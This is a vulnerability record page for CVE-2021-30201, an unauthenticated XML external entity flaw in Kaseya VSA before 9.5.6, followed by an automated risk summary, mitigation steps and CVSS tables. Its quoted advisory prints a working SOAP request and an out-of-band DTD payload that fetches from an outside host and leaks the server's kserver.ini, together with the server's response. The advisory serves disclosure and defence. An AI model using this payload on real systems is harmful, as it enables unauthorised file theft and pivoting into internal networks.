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CVE Record

CVE-2021-30201: Unauthenticated XML External Entity vulnerability in Kaseya VSA < v9.5.6

The API /vsaWS/KaseyaWS.asmx can be used to submit XML to the system. When this XML is processed (external) entities are insecurely processed and fetched by the system and returned to the attacker. Detailed description Given the following request: ``` POST /vsaWS/KaseyaWS.asmx HTTP/1.1 Content-Type: text/xml;charset=UTF-8 Host: 192.168.1.194:18081 Content-Length: 406 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:kas="KaseyaWS"> <soapenv:Header/> <soapenv:Body> <kas:PrimitiveResetPassword> <!--type: string--> <kas:XmlRequest><![CDATA[<!DOCTYPE data SYSTEM "http://192.168.1.170:8080/oob.dtd"><data>&send;</data>]]> </kas:XmlRequest> </kas:PrimitiveResetPassword> </soapenv:Body> </soapenv:Envelope> ``` And the following XML file hosted at http://192.168.1.170/oob.dtd: ``` <!ENTITY % file SYSTEM "file://c:\\kaseya\\kserver\\kserver.ini"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; ``` The server will fetch this XML file and process it, it will read the file c:\\kaseya\\kserver\\kserver.ini and returns the content in the server response like below. Response: ``` HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Type: text/xml; charset=utf-8 Date: Fri, 02 Apr 2021 10:07:38 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 2677 <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><soap:Fault><faultcode>soap:Server</faultcode><faultstring>Server was unable to process request. ---&gt; There is an error in XML document (24, -1000).\r\n\r\nSystem.Xml.XmlException: Fragment identifier '######################################################################## # This is the configuration file for the KServer. # Place it in the same directory as the KServer executable # A blank line or new valid section header [] terminates each section. # Comment lines start with ; or # ######################################################################## <snip> ``` Security issues discovered --- * The API insecurely resolves external XML entities * The API has an overly verbose error response Impact --- Using this vulnerability an attacker can read any file on the server the webserver process can read. Additionally, it can be used to perform HTTP(s) requests into the local network and thus use the Kaseya system to pivot into the local network.

HighCVSS 7.5Not KEV-listedUpdated
Glexia's TakeAutomated analysishigh

Security readout for executives and security teams

Plain-English summary

CVE-2021-30201 lets an unauthenticated attacker make vulnerable Kaseya VSA servers process unsafe XML. The result can be disclosure of files readable by the webserver process and possible probing of internal network services from the VSA server. For a management platform, exposed credentials or configuration data could materially increase business risk.

Executive priority

Treat this as high priority for any remaining legacy Kaseya VSA deployment. The main concern is confidential data exposure from a privileged management server, plus possible internal network pivoting. Prioritize upgrade verification and exposure reduction before broader cleanup.

Technical view

The vulnerable Kaseya VSA web service endpoint processes XML external entities in submitted SOAP/XML data and returns verbose errors. Sources describe Kaseya VSA versions before 9.5.6 as affected. The CVSS 3.1 score is 7.5, reflecting network access, low complexity, no privileges, no user interaction, and high confidentiality impact.

Likely exposure

Organizations running Kaseya VSA earlier than 9.5.6 are the primary exposure group, especially where the KaseyaWS web service is reachable from untrusted networks. Risk is higher if the VSA server can read sensitive configuration files or reach internal services.

Exploitation context

The provided sources do not show CISA KEV listing or confirmed active exploitation for this CVE. The vulnerability is unauthenticated and network reachable, and the public description includes enough technical detail to make exposure validation urgent without claiming active exploitation.

Researcher notes

Evidence supports XXE-driven file disclosure and server-side internal request capability through KaseyaWS.asmx. The bundle does not provide proof of active exploitation, complete affected CPEs, or a detailed vendor remediation matrix beyond the 9.5.6 version boundary.

Mitigation direction

  • Upgrade Kaseya VSA to 9.5.6 or later per vendor guidance.
  • Restrict external access to VSA web services, especially KaseyaWS.asmx.
  • Review vendor advisories for supported compensating controls if immediate upgrade is impossible.
  • Reduce sensitive file readability by the webserver process where operationally feasible.
  • Monitor VSA servers for unusual XML processing errors or internal HTTP requests.

Validation and detection

  • Inventory all Kaseya VSA instances and record exact versions.
  • Confirm whether /vsaWS/KaseyaWS.asmx is reachable from untrusted networks.
  • Review webserver and application logs around July 2021 and onward for suspicious SOAP/XML errors.
  • Check whether sensitive VSA configuration files were exposed or accessed unexpectedly.
  • Validate that upgraded systems report version 9.5.6 or later.
Prepared
Confidence
high
Sources
6

Generated from the cited source records. This long-tail analysis has not been individually reviewed by a named human.

Potential ATT&CK relevance

Conservative CVE-to-ATT&CK context

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CVE-2021-30201 mapping review

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Vulnerability profileCVE Program record
Severity
High
CVSS
7.5 (3.1)
Known Exploited
No
Published

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Official CVE source material

CNA and ADP enrichment extracted from CVE v5

These fields come from the CVE record and ADP containers, not from Glexia's Take. They preserve time-varying source decisions such as CISA SSVC, KEV status, CVSS metrics, and provider references.

1CVSS vectors
0Timeline events
0ADP providers
5Source links

CVSS vector scores

1 official score

We collect every scored CVSS vector available in the official CNA and ADP containers. When more than one version is present, the table keeps the source vectors side by side instead of collapsing them into the highest score.

ScoreVersionSeverityVectorExploitImpactSource
7.5CVSS 3.1HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N3.93.6Primary CVE score

Vulnerability scoring details

Base CVSS 3.1 score

7.5High
CVSS 3.1 vector shape for CVE-2021-30201Attack VectorAttack ComplexityPrivileges RequiredUser InteractionScopeConfidentiality ImpactIntegrity ImpactAvailability Impact

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Attack Vector
NetworkAdjacentLocalPhysical
Attack Complexity
LowHigh
Privileges Required
NoneLowHigh
User Interaction
NoneRequired
Scope
ChangedUnchanged
Confidentiality Impact
HighLowNone
Integrity Impact
HighLowNone
Availability Impact
HighLowNone

Source materials

Affected products

Products and packages named in the record

VendorProductVersion / packageStatus
n/an/an/aListed
Weakness

CWE details

No CWE listed

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